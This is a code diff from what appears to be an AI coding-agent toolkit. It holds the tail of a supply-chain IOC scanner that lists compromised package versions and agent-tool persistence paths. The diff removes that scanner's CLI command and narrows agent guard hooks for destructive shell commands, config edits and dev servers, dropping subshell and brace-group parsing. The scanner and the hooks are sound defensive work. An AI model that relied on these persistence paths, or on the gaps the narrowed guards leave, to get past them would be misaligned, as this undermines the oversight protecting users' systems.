for (const [packageName, versions] of Object.entries(MALICIOUS_PACKAGE_VERSIONS)) {
|
||||
const packageIndex = lowerText.indexOf(normalizeForMatch(packageName));
|
||||
if (packageIndex === -1) continue;
|
||||
|
||||
for (const version of versions) {
|
||||
const versionPattern = new RegExp(`(^|[^0-9a-z.])${escapeRegExp(version)}([^0-9a-z.]|$)`, 'i');
|
||||
if (versionPattern.test(text) || lowerText.includes(`@${version}`)) {
|
||||
addFinding(
|
||||
findings,
|
||||
'critical',
|
||||
relativePath,
|
||||
lineForIndex(text, packageIndex),
|
||||
`${packageName}@${version}`,
|
||||
'Dependency manifest or lockfile references a known compromised package version',
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function homeTargets(homeDir) {
|
||||
return [
|
||||
'.claude/settings.json',
|
||||
'.claude/router_runtime.js',
|
||||
'.claude/setup.mjs',
|
||||
'.vscode/tasks.json',
|
||||
'.vscode/setup.mjs',
|
||||
'Library/LaunchAgents/com.user.gh-token-monitor.plist',
|
||||
'.config/systemd/user/gh-token-monitor.service',
|
||||
'.config/systemd/user/pgsql-monitor.service',
|
||||
'.local/bin/gh-token-monitor.sh',
|
||||
'.local/bin/pgmonitor.py',
|
||||
].map(relativePath => path.join(homeDir, relativePath));
|
||||
}
|
||||
|
||||
function runtimeTargets() {
|
||||
return [
|
||||
'/tmp/transformers.pyz',
|
||||
'/tmp/pgmonitor.py',
|
||||
'/tmp/node-ipc-9.1.6.tgz',
|
||||
'/tmp/node-ipc-9.2.3.tgz',
|
||||
'/tmp/node-ipc-12.0.1.tar.gz',
|
||||
'/private/tmp/transformers.pyz',
|
||||
'/private/tmp/pgmonitor.py',
|
||||
'/private/tmp/node-ipc-9.1.6.tgz',
|
||||
'/private/tmp/node-ipc-9.2.3.tgz',
|
||||
'/private/tmp/node-ipc-12.0.1.tar.gz',
|
||||
];
|
||||
}
|
||||
|
||||
function scanSupplyChainIocs(options = {}) {
|
||||
const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT);
|
||||
const files = walkFiles(rootDir);
|
||||
const findings = [];
|
||||
|
||||
if (options.home) {
|
||||
for (const target of homeTargets(options.homeDir || os.homedir())) {
|
||||
if (fs.existsSync(target)) files.push(target);
|
||||
}
|
||||
for (const target of runtimeTargets()) {
|
||||
if (fs.existsSync(target)) files.push(target);
|
||||
}
|
||||
}
|
||||
|
||||
for (const filePath of [...new Set(files)].sort()) {
|
||||
scanFile(filePath, rootDir, findings);
|
||||
}
|
||||
|
||||
return {
|
||||
rootDir,
|
||||
scannedFiles: files.length,
|
||||
findings,
|
||||
};
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
const options = {};
|
||||
for (let i = 0; i < argv.length; i++) {
|
||||
const arg = argv[i];
|
||||
if (arg === '--help' || arg === '-h') {
|
||||
options.help = true;
|
||||
} else if (arg === '--root') {
|
||||
options.rootDir = argv[++i];
|
||||
} else if (arg === '--home') {
|
||||
options.home = true;
|
||||
} else if (arg === '--home-dir') {
|
||||
options.home = true;
|
||||
options.homeDir = argv[++i];
|
||||
} else if (arg === '--json') {
|
||||
options.json = true;
|
||||
} else {
|
||||
throw new Error(`Unknown argument: ${arg}`);
|
||||
}
|
||||
}
|
||||
return options;
|
||||
}
|
||||
|
||||
function printHelp() {
|
||||
console.log(`Usage: node scripts/ci/scan-supply-chain-iocs.js [options]
|
||||
|
||||
Scan dependency manifests, lockfiles, installed package payloads, and AI-tool
|
||||
persistence paths for active supply-chain IOC markers.
|
||||
|
||||
Options:
|
||||
--root <dir> Directory to scan (default: repo root)
|
||||
--home Also scan user-level Claude, VS Code, LaunchAgent, systemd,
|
||||
and /tmp persistence targets
|
||||
--home-dir <dir> Home directory to use with --home
|
||||
--json Emit JSON instead of text
|
||||
--help, -h Show this help
|
||||
|
||||
Examples:
|
||||
node scripts/ci/scan-supply-chain-iocs.js --home
|
||||
node scripts/ci/scan-supply-chain-iocs.js --root /path/to/project --json
|
||||
`);
|
||||
}
|
||||
|
||||
function printReport(result, json = false) {
|
||||
if (json) {
|
||||
console.log(JSON.stringify(result, null, 2));
|
||||
return;
|
||||
}
|
||||
|
||||
if (result.findings.length === 0) {
|
||||
console.log(`Supply-chain IOC scan passed for ${result.rootDir} (${result.scannedFiles} files inspected)`);
|
||||
return;
|
||||
}
|
||||
|
||||
for (const finding of result.findings) {
|
||||
console.error(
|
||||
`${finding.severity.toUpperCase()}: ${finding.filePath}:${finding.line} ${finding.indicator}`,
|
||||
);
|
||||
console.error(` ${finding.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
try {
|
||||
const options = parseArgs(process.argv.slice(2));
|
||||
if (options.help) {
|
||||
printHelp();
|
||||
process.exit(0);
|
||||
}
|
||||
const result = scanSupplyChainIocs(options);
|
||||
printReport(result, options.json);
|
||||
process.exit(result.findings.length > 0 ? 1 : 0);
|
||||
} catch (error) {
|
||||
console.error(error.message);
|
||||
process.exit(2);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
CRITICAL_TEXT_INDICATORS,
|
||||
MALICIOUS_FILE_HASHES,
|
||||
MALICIOUS_PACKAGE_VERSIONS,
|
||||
scanSupplyChainIocs,
|
||||
};
|
||||
@@ -45,14 +45,6 @@ const COMMANDS = {
|
||||
script: 'status.js',
|
||||
description: 'Query the ECC SQLite state store status summary',
|
||||
},
|
||||
'platform-audit': {
|
||||
script: 'platform-audit.js',
|
||||
description: 'Audit GitHub queues, discussions, roadmap, release, and security evidence',
|
||||
},
|
||||
'security-ioc-scan': {
|
||||
script: 'ci/scan-supply-chain-iocs.js',
|
||||
description: 'Scan dependency and AI-tool persistence surfaces for active supply-chain IOCs',
|
||||
},
|
||||
sessions: {
|
||||
script: 'sessions-cli.js',
|
||||
description: 'List or inspect ECC sessions from the SQLite state store',
|
||||
@@ -85,8 +77,6 @@ const PRIMARY_COMMANDS = [
|
||||
'repair',
|
||||
'auto-update',
|
||||
'status',
|
||||
'platform-audit',
|
||||
'security-ioc-scan',
|
||||
'sessions',
|
||||
'work-items',
|
||||
'session-inspect',
|
||||
@@ -125,8 +115,6 @@ Examples:
|
||||
ecc status --json
|
||||
ecc status --exit-code
|
||||
ecc status --markdown --write status.md
|
||||
ecc platform-audit --json --allow-untracked docs/drafts/
|
||||
ecc security-ioc-scan --home
|
||||
ecc sessions
|
||||
ecc sessions session-active --json
|
||||
ecc work-items upsert linear-ecc-20 --source linear --source-id ECC-20 --title "Review control-plane contract" --status blocked
|
||||
|
||||
@@ -7,13 +7,12 @@
|
||||
* the actual code. This hook steers the agent back to fixing the source.
|
||||
*
|
||||
* Exit codes:
|
||||
* 0 = allow (not a config file, or first-time creation of one)
|
||||
* 2 = block (existing config file modification attempted)
|
||||
* 0 = allow (not a config file)
|
||||
* 2 = block (config file modification attempted)
|
||||
*/
|
||||
|
||||
'use strict';
|
||||
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const MAX_STDIN = 1024 * 1024;
|
||||
@@ -59,7 +58,7 @@ const PROTECTED_FILES = new Set([
|
||||
'.stylelintrc.yml',
|
||||
'.markdownlint.json',
|
||||
'.markdownlint.yaml',
|
||||
'.markdownlintrc'
|
||||
'.markdownlintrc',
|
||||
]);
|
||||
|
||||
function parseInput(inputOrRaw) {
|
||||
@@ -95,41 +94,13 @@ function run(inputOrRaw, options = {}) {
|
||||
|
||||
const basename = path.basename(filePath);
|
||||
if (PROTECTED_FILES.has(basename)) {
|
||||
// Allow first-time creation — there's no existing config to weaken.
|
||||
// The hook's purpose is blocking modifications; writing a brand-new
|
||||
// config file in a project that has none is a legitimate bootstrap
|
||||
// path (e.g. scaffolding ESLint into a fresh repo).
|
||||
//
|
||||
// Fail closed on any stat error other than ENOENT. Use lstatSync so a
|
||||
// symlink at the protected path is treated as present even if its target
|
||||
// is missing — a dangling symlink at e.g. .eslintrc.js still represents
|
||||
// an existing config entry that an agent should not silently replace.
|
||||
// fs.existsSync would swallow EACCES/EPERM as false; lstatSync exposes
|
||||
// the error code so we can treat only genuine "path not found" (ENOENT)
|
||||
// as absent.
|
||||
let exists = true;
|
||||
try {
|
||||
fs.lstatSync(filePath);
|
||||
// lstat succeeded — something (file, dir, or symlink) exists here.
|
||||
} catch (err) {
|
||||
if (err && err.code === 'ENOENT') {
|
||||
exists = false;
|
||||
}
|
||||
// Any other error (EACCES, EPERM, ELOOP, etc.) leaves exists=true
|
||||
// so the guard is never silently weakened.
|
||||
}
|
||||
|
||||
if (!exists) {
|
||||
return { exitCode: 0 };
|
||||
}
|
||||
|
||||
return {
|
||||
exitCode: 2,
|
||||
stderr:
|
||||
`BLOCKED: Modifying ${basename} is not allowed. ` +
|
||||
'Fix the source code to satisfy linter/formatter rules instead of ' +
|
||||
'weakening the config. If this is a legitimate config change, ' +
|
||||
'disable the config-protection hook temporarily.'
|
||||
'disable the config-protection hook temporarily.',
|
||||
};
|
||||
}
|
||||
|
||||
@@ -154,7 +125,7 @@ process.stdin.on('data', chunk => {
|
||||
process.stdin.on('end', () => {
|
||||
const result = run(raw, {
|
||||
truncated,
|
||||
maxStdin: Number(process.env.ECC_HOOK_INPUT_MAX_BYTES) || MAX_STDIN
|
||||
maxStdin: Number(process.env.ECC_HOOK_INPUT_MAX_BYTES) || MAX_STDIN,
|
||||
});
|
||||
|
||||
if (result.stderr) {
|
||||
|
||||
@@ -25,11 +25,6 @@
|
||||
const crypto = require('crypto');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const {
|
||||
extractCommandSubstitutions,
|
||||
extractSubshellGroups,
|
||||
extractBraceGroups
|
||||
} = require('../lib/shell-substitution');
|
||||
|
||||
// Session state — scoped per session to avoid cross-session races.
|
||||
const STATE_DIR = process.env.GATEGUARD_STATE_DIR || path.join(process.env.HOME || process.env.USERPROFILE || '/tmp', '.gateguard');
|
||||
@@ -89,6 +84,105 @@ function explodeSubshells(input) {
|
||||
return out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract executable command-substitution bodies from a shell line. Single
|
||||
* quotes are literal, so substitutions inside them are ignored; double quotes
|
||||
* still permit substitutions, so those bodies are scanned before quoted text
|
||||
* is stripped.
|
||||
*
|
||||
* @param {string} input
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function extractCommandSubstitutions(input) {
|
||||
const source = String(input || '');
|
||||
const substitutions = [];
|
||||
let inSingle = false;
|
||||
let inDouble = false;
|
||||
|
||||
for (let i = 0; i < source.length; i++) {
|
||||
const ch = source[i];
|
||||
const prev = source[i - 1];
|
||||
|
||||
if (ch === '\\' && !inSingle) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "'" && !inDouble && prev !== '\\') {
|
||||
inSingle = !inSingle;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '"' && !inSingle && prev !== '\\') {
|
||||
inDouble = !inDouble;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inSingle) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '`') {
|
||||
let body = '';
|
||||
i += 1;
|
||||
while (i < source.length) {
|
||||
const inner = source[i];
|
||||
if (inner === '\\') {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === '`') {
|
||||
break;
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
substitutions.push(body);
|
||||
substitutions.push(...extractCommandSubstitutions(body));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '$' && source[i + 1] === '(') {
|
||||
let depth = 1;
|
||||
let body = '';
|
||||
i += 2;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
if (inner === '\\') {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === '(') {
|
||||
depth += 1;
|
||||
} else if (inner === ')') {
|
||||
depth -= 1;
|
||||
if (depth === 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
substitutions.push(body);
|
||||
substitutions.push(...extractCommandSubstitutions(body));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return substitutions;
|
||||
}
|
||||
|
||||
/**
|
||||
* Split a command line into top-level segments at unquoted shell
|
||||
* separators (`;`, `|`, `&`, `&&`, `||`) and across subshells
|
||||
@@ -298,54 +392,6 @@ function isDestructiveGit(tokens) {
|
||||
* @param {string} command
|
||||
* @returns {boolean}
|
||||
*/
|
||||
/**
|
||||
* Walk every executable body reachable from a raw command line and
|
||||
* return them as a flat list. Bodies that bash will execute live in
|
||||
* three different syntactic constructs, each handled by a sibling
|
||||
* extractor in `scripts/lib/shell-substitution.js`:
|
||||
* - `$(...)` and backticks via `extractCommandSubstitutions`
|
||||
* - plain `(...)` subshells via `extractSubshellGroups`
|
||||
* - `{ ...; }` brace groups via `extractBraceGroups`
|
||||
*
|
||||
* Each extractor recurses into its own syntax. The BFS here adds
|
||||
* cross-syntax discovery — e.g. a `(...)` inside a `$(...)` body, or
|
||||
* a `{ ...; }` inside a `(...)` body — by feeding every harvested
|
||||
* body back through all three extractors. A `seen` set bounds the
|
||||
* cost to O(unique bodies).
|
||||
*
|
||||
* @param {string} raw
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function collectExecutableBodies(raw) {
|
||||
const bodies = [raw];
|
||||
const queue = [raw];
|
||||
const seen = new Set();
|
||||
|
||||
while (queue.length) {
|
||||
const current = queue.shift();
|
||||
if (seen.has(current)) continue;
|
||||
seen.add(current);
|
||||
|
||||
for (const body of extractCommandSubstitutions(current)) {
|
||||
if (seen.has(body)) continue;
|
||||
bodies.push(body);
|
||||
queue.push(body);
|
||||
}
|
||||
for (const body of extractSubshellGroups(current)) {
|
||||
if (seen.has(body)) continue;
|
||||
bodies.push(body);
|
||||
queue.push(body);
|
||||
}
|
||||
for (const body of extractBraceGroups(current)) {
|
||||
if (seen.has(body)) continue;
|
||||
bodies.push(body);
|
||||
queue.push(body);
|
||||
}
|
||||
}
|
||||
|
||||
return bodies;
|
||||
}
|
||||
|
||||
function isDestructiveBash(command) {
|
||||
// The SQL/dd phrases live in command bodies, not as flag-bearing
|
||||
// arguments, so we still match them by regex — but on the input
|
||||
@@ -355,7 +401,7 @@ function isDestructiveBash(command) {
|
||||
const flattened = explodeSubshells(stripQuotedStrings(raw));
|
||||
if (DESTRUCTIVE_SQL_DD.test(flattened)) return true;
|
||||
|
||||
const segments = collectExecutableBodies(raw).flatMap(splitCommandSegments);
|
||||
const segments = [raw, ...extractCommandSubstitutions(raw)].flatMap(splitCommandSegments);
|
||||
for (const segment of segments) {
|
||||
if (DESTRUCTIVE_SQL_DD.test(stripQuotedStrings(segment))) return true;
|
||||
const tokens = tokenize(segment);
|
||||
|
||||
@@ -4,10 +4,6 @@
|
||||
const MAX_STDIN = 1024 * 1024;
|
||||
const path = require('path');
|
||||
const { splitShellSegments } = require('../lib/shell-split');
|
||||
const {
|
||||
extractCommandSubstitutions,
|
||||
extractSubshellGroups
|
||||
} = require('../lib/shell-substitution');
|
||||
|
||||
const DEV_COMMAND_WORDS = new Set([
|
||||
'npm',
|
||||
@@ -127,8 +123,6 @@ function getLeadingCommandWord(segment) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (token === '{' || token === '}') continue;
|
||||
|
||||
if (/^[A-Za-z_][A-Za-z0-9_]*=.*/.test(token)) continue;
|
||||
|
||||
const normalizedToken = normalizeCommandWord(token);
|
||||
@@ -160,55 +154,23 @@ process.stdin.on('data', chunk => {
|
||||
}
|
||||
});
|
||||
|
||||
const TMUX_LAUNCHER = /^\s*tmux\s+(new|new-session|new-window|split-window)\b/;
|
||||
const DEV_PATTERN = /\b(npm\s+run\s+dev|pnpm(?:\s+run)?\s+dev|yarn(?:\s+run)?\s+dev|bun(?:\s+run)?\s+dev)\b/;
|
||||
|
||||
/**
|
||||
* Collect every command-line segment we should evaluate. Returns the top-level
|
||||
* segments first, then segments harvested from `$(...)` / backtick command
|
||||
* substitutions and plain `(...)` subshell groups, recursively.
|
||||
*
|
||||
* Without this expansion the leading-command and dev-pattern check below only
|
||||
* sees the outermost command, so wrappers like `$(npm run dev)` and
|
||||
* `(npm run dev)` (which still spawn a dev server) sneak past.
|
||||
*/
|
||||
function collectCheckSegments(cmd) {
|
||||
const segments = [...splitShellSegments(cmd)];
|
||||
const queue = [cmd];
|
||||
const seen = new Set();
|
||||
|
||||
while (queue.length) {
|
||||
const current = queue.shift();
|
||||
if (seen.has(current)) continue;
|
||||
seen.add(current);
|
||||
|
||||
for (const body of extractCommandSubstitutions(current)) {
|
||||
for (const seg of splitShellSegments(body)) segments.push(seg);
|
||||
queue.push(body);
|
||||
}
|
||||
for (const body of extractSubshellGroups(current)) {
|
||||
for (const seg of splitShellSegments(body)) segments.push(seg);
|
||||
queue.push(body);
|
||||
}
|
||||
}
|
||||
|
||||
return segments;
|
||||
}
|
||||
|
||||
function isBlockedDevSegment(segment) {
|
||||
const commandWord = getLeadingCommandWord(segment);
|
||||
if (!commandWord || !DEV_COMMAND_WORDS.has(commandWord)) return false;
|
||||
return DEV_PATTERN.test(segment) && !TMUX_LAUNCHER.test(segment);
|
||||
}
|
||||
|
||||
process.stdin.on('end', () => {
|
||||
try {
|
||||
const input = JSON.parse(raw);
|
||||
const cmd = String(input.tool_input?.command || '');
|
||||
|
||||
if (process.platform !== 'win32') {
|
||||
const segments = collectCheckSegments(cmd);
|
||||
const hasBlockedDev = segments.some(isBlockedDevSegment);
|
||||
const segments = splitShellSegments(cmd);
|
||||
const tmuxLauncher = /^\s*tmux\s+(new|new-session|new-window|split-window)\b/;
|
||||
const devPattern = /\b(npm\s+run\s+dev|pnpm(?:\s+run)?\s+dev|yarn\s+dev|bun\s+run\s+dev)\b/;
|
||||
|
||||
const hasBlockedDev = segments.some(segment => {
|
||||
const commandWord = getLeadingCommandWord(segment);
|
||||
if (!commandWord || !DEV_COMMAND_WORDS.has(commandWord)) {
|
||||
return false;
|
||||
}
|
||||
return devPattern.test(segment) && !tmuxLauncher.test(segment);
|
||||
});
|
||||
|
||||
if (hasBlockedDev) {
|
||||
console.error('[Hook] BLOCKED: Dev server must run in tmux for log access');
|
||||
|
||||
@@ -19,8 +19,7 @@ const {
|
||||
getTempDir,
|
||||
writeFile,
|
||||
readStdinJson,
|
||||
log,
|
||||
output
|
||||
log
|
||||
} = require('../lib/utils');
|
||||
|
||||
async function resolveSessionId() {
|
||||
@@ -78,25 +77,14 @@ async function main() {
|
||||
writeFile(counterFile, String(count));
|
||||
}
|
||||
|
||||
// Suggest compact after threshold tool calls.
|
||||
//
|
||||
// log() writes to stderr (debug log). Per the Claude Code hooks guide,
|
||||
// non-blocking PreToolUse stderr (exit 0) is only written to the debug log;
|
||||
// it does not reach the model. To inject a user-facing suggestion without
|
||||
// blocking the tool call, emit structured JSON to stdout with
|
||||
// hookSpecificOutput.additionalContext — the documented mechanism for
|
||||
// PreToolUse hooks to add context to the next model turn.
|
||||
// Suggest compact after threshold tool calls
|
||||
if (count === threshold) {
|
||||
const msg = `[StrategicCompact] ${threshold} tool calls reached - consider /compact if transitioning phases`;
|
||||
log(msg);
|
||||
output({ hookSpecificOutput: { hookEventName: 'PreToolUse', additionalContext: msg } });
|
||||
log(`[StrategicCompact] ${threshold} tool calls reached - consider /compact if transitioning phases`);
|
||||
}
|
||||
|
||||
// Suggest at regular intervals after threshold (every 25 calls from threshold)
|
||||
if (count > threshold && (count - threshold) % 25 === 0) {
|
||||
const msg = `[StrategicCompact] ${count} tool calls - good checkpoint for /compact if context is stale`;
|
||||
log(msg);
|
||||
output({ hookSpecificOutput: { hookEventName: 'PreToolUse', additionalContext: msg } });
|
||||
log(`[StrategicCompact] ${count} tool calls - good checkpoint for /compact if context is stale`);
|
||||
}
|
||||
|
||||
process.exit(0);
|
||||
|
||||
@@ -1,494 +0,0 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Extract executable command-substitution bodies from a shell line.
|
||||
*
|
||||
* Single quotes are literal, so substitutions inside them are ignored;
|
||||
* double quotes still permit substitutions, so those bodies are scanned
|
||||
* before quoted text is stripped. Returns each substitution body plus
|
||||
* any nested substitutions discovered recursively.
|
||||
*
|
||||
* Originally introduced in scripts/hooks/gateguard-fact-force.js
|
||||
* (PR #1853 round 2). Extracted to a shared lib so other PreToolUse
|
||||
* hooks that need the same "scan inside `$(...)` and backticks"
|
||||
* behavior can reuse it without duplicating the parser.
|
||||
*
|
||||
* @param {string} input
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function extractCommandSubstitutions(input) {
|
||||
const source = String(input || '');
|
||||
const substitutions = [];
|
||||
let inSingle = false;
|
||||
let inDouble = false;
|
||||
|
||||
for (let i = 0; i < source.length; i++) {
|
||||
const ch = source[i];
|
||||
const prev = source[i - 1];
|
||||
|
||||
if (ch === '\\' && !inSingle) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "'" && !inDouble && prev !== '\\') {
|
||||
inSingle = !inSingle;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '"' && !inSingle && prev !== '\\') {
|
||||
inDouble = !inDouble;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inSingle) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '`') {
|
||||
let body = '';
|
||||
i += 1;
|
||||
while (i < source.length) {
|
||||
const inner = source[i];
|
||||
if (inner === '\\') {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === '`') {
|
||||
break;
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
substitutions.push(body);
|
||||
substitutions.push(...extractCommandSubstitutions(body));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '$' && source[i + 1] === '(') {
|
||||
let depth = 1;
|
||||
let body = '';
|
||||
let bodyInSingle = false;
|
||||
let bodyInDouble = false;
|
||||
i += 2;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !bodyInSingle) {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
|
||||
bodyInSingle = !bodyInSingle;
|
||||
} else if (inner === '"' && !bodyInSingle && innerPrev !== '\\') {
|
||||
bodyInDouble = !bodyInDouble;
|
||||
} else if (!bodyInSingle && !bodyInDouble) {
|
||||
if (inner === '(') {
|
||||
depth += 1;
|
||||
} else if (inner === ')') {
|
||||
depth -= 1;
|
||||
if (depth === 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
substitutions.push(body);
|
||||
substitutions.push(...extractCommandSubstitutions(body));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return substitutions;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract bodies of plain `(...)` subshell groups.
|
||||
*
|
||||
* Bash treats `(npm run dev)` as a subshell that executes its contents, but
|
||||
* the regex-light segment splitters used by our PreToolUse hooks don't peer
|
||||
* inside those parens. This helper finds top-level `(...)` groups (skipping
|
||||
* `$(...)` command substitutions and backticks, which `extractCommandSubstitutions`
|
||||
* already covers) and returns each body, recursing for nested groups.
|
||||
*
|
||||
* Quote semantics:
|
||||
* - Single quotes are literal: `'( ... )'` is a string, not a subshell.
|
||||
* - Double quotes are literal *for parens*: `"( ... )"` is a string too —
|
||||
* bash only honors `$( )` inside double quotes, not bare `( )`.
|
||||
*
|
||||
* @param {string} input
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function extractSubshellGroups(input) {
|
||||
const source = String(input || '');
|
||||
const groups = [];
|
||||
let inSingle = false;
|
||||
let inDouble = false;
|
||||
|
||||
for (let i = 0; i < source.length; i++) {
|
||||
const ch = source[i];
|
||||
const prev = source[i - 1];
|
||||
|
||||
if (ch === '\\' && !inSingle) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "'" && !inDouble && prev !== '\\') {
|
||||
inSingle = !inSingle;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '"' && !inSingle && prev !== '\\') {
|
||||
inDouble = !inDouble;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inSingle || inDouble) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '$' && source[i + 1] === '(') {
|
||||
let depth = 1;
|
||||
let skipInSingle = false;
|
||||
let skipInDouble = false;
|
||||
i += 2;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !skipInSingle) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
|
||||
skipInSingle = !skipInSingle;
|
||||
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
|
||||
skipInDouble = !skipInDouble;
|
||||
} else if (!skipInSingle && !skipInDouble) {
|
||||
if (inner === '(') depth += 1;
|
||||
else if (inner === ')') depth -= 1;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
i -= 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '`') {
|
||||
i += 1;
|
||||
while (i < source.length && source[i] !== '`') {
|
||||
if (source[i] === '\\' && i + 1 < source.length) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '(') {
|
||||
let depth = 1;
|
||||
let body = '';
|
||||
let bodyInSingle = false;
|
||||
let bodyInDouble = false;
|
||||
i += 1;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !bodyInSingle) {
|
||||
body += inner;
|
||||
if (i + 1 < source.length) {
|
||||
body += source[i + 1];
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (inner === "'" && !bodyInDouble && innerPrev !== '\\') {
|
||||
bodyInSingle = !bodyInSingle;
|
||||
} else if (inner === '"' && !bodyInSingle && innerPrev !== '\\') {
|
||||
bodyInDouble = !bodyInDouble;
|
||||
} else if (!bodyInSingle && !bodyInDouble) {
|
||||
if (inner === '(') {
|
||||
depth += 1;
|
||||
} else if (inner === ')') {
|
||||
depth -= 1;
|
||||
if (depth === 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
body += inner;
|
||||
i += 1;
|
||||
}
|
||||
if (body.trim()) {
|
||||
groups.push(body);
|
||||
groups.push(...extractSubshellGroups(body));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return groups;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract bodies of `{ ...; }` brace groups.
|
||||
*
|
||||
* Bash brace groups run their body in the *current* shell (unlike `(...)`,
|
||||
* which forks a subshell). Both forms group multiple commands, so for the
|
||||
* purposes of destructive-bash and dev-server detection they are equivalent:
|
||||
* a `rm -rf` or `npm run dev` inside `{ ...; }` still executes.
|
||||
*
|
||||
* Recognition rules match bash's own reserved-word semantics:
|
||||
* - `{` is a reserved word only when followed by whitespace and preceded by
|
||||
* the line start, whitespace, or a shell operator (`;`, `|`, `&`, `(`).
|
||||
* So `{npm run dev}` is NOT a brace group (single token starting with `{`).
|
||||
* - `}` closes the group only when preceded by `;` or whitespace.
|
||||
* So `foo}` inside the body is not a closing brace.
|
||||
* - Single quotes are literal; double quotes are also literal for `{`/`}`.
|
||||
* - `$(...)`, backticks, and plain `(...)` spans are skipped so we don't
|
||||
* double-extract bodies the sibling extractors already cover.
|
||||
*
|
||||
* @param {string} input
|
||||
* @returns {string[]}
|
||||
*/
|
||||
function extractBraceGroups(input) {
|
||||
const source = String(input || '');
|
||||
const groups = [];
|
||||
let inSingle = false;
|
||||
let inDouble = false;
|
||||
|
||||
for (let i = 0; i < source.length; i++) {
|
||||
const ch = source[i];
|
||||
const prev = source[i - 1];
|
||||
|
||||
if (ch === '\\' && !inSingle) {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "'" && !inDouble && prev !== '\\') {
|
||||
inSingle = !inSingle;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '"' && !inSingle && prev !== '\\') {
|
||||
inDouble = !inDouble;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inSingle || inDouble) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '$' && source[i + 1] === '(') {
|
||||
let depth = 1;
|
||||
let skipInSingle = false;
|
||||
let skipInDouble = false;
|
||||
i += 2;
|
||||
while (i < source.length && depth > 0) {
|
||||
const inner = source[i];
|
||||
const innerPrev = source[i - 1];
|
||||
if (inner === '\\' && !skipInSingle) {
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if (inner === "'" && !skipInDouble && innerPrev !== '\\') {
|
||||
skipInSingle = !skipInSingle;
|
||||
} else if (inner === '"' && !skipInSingle && innerPrev !== '\\') {
|
||||
skipInDouble = !skipInDouble;
|
||||
} else if (!skipInSingle && !skipInDouble) {
|
||||
